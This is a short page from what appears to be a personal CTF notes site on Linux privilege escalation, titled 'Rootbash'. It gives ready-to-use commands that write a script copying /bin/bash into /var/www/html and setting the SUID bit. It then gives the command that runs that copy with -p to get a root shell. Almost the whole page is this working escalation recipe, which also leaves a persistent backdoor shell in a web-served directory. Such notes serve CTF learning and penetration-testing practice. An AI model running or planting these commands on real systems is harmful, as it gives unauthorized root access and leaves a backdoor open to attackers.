> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/linux-privilege-escalation/rootbash.md).

# Rootbash

## Creation

To create a SUID bash

```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /var/www/html/rootbash\nchmod +xs /var/www/html/rootbash\n' > script.sh
```

Contents of `script.sh`

```bash
#!/bin/bash

cp /bin/bash /var/www/html/rootbash
chmod +xs /var/www/html/rootbash

```

{% hint style="info" %}
WARNING

Remember to avoid `tmp` as the destination directory as the sticky bit on `tmp` will likely prevent you from seeing the file.
{% endhint %}

## Execution

To run the shell

```bash
/var/www/html/rootbash -p
```

## Resources

bash - Linux manual page: <https://www.man7.org/linux/man-pages/man1/bash.1.html>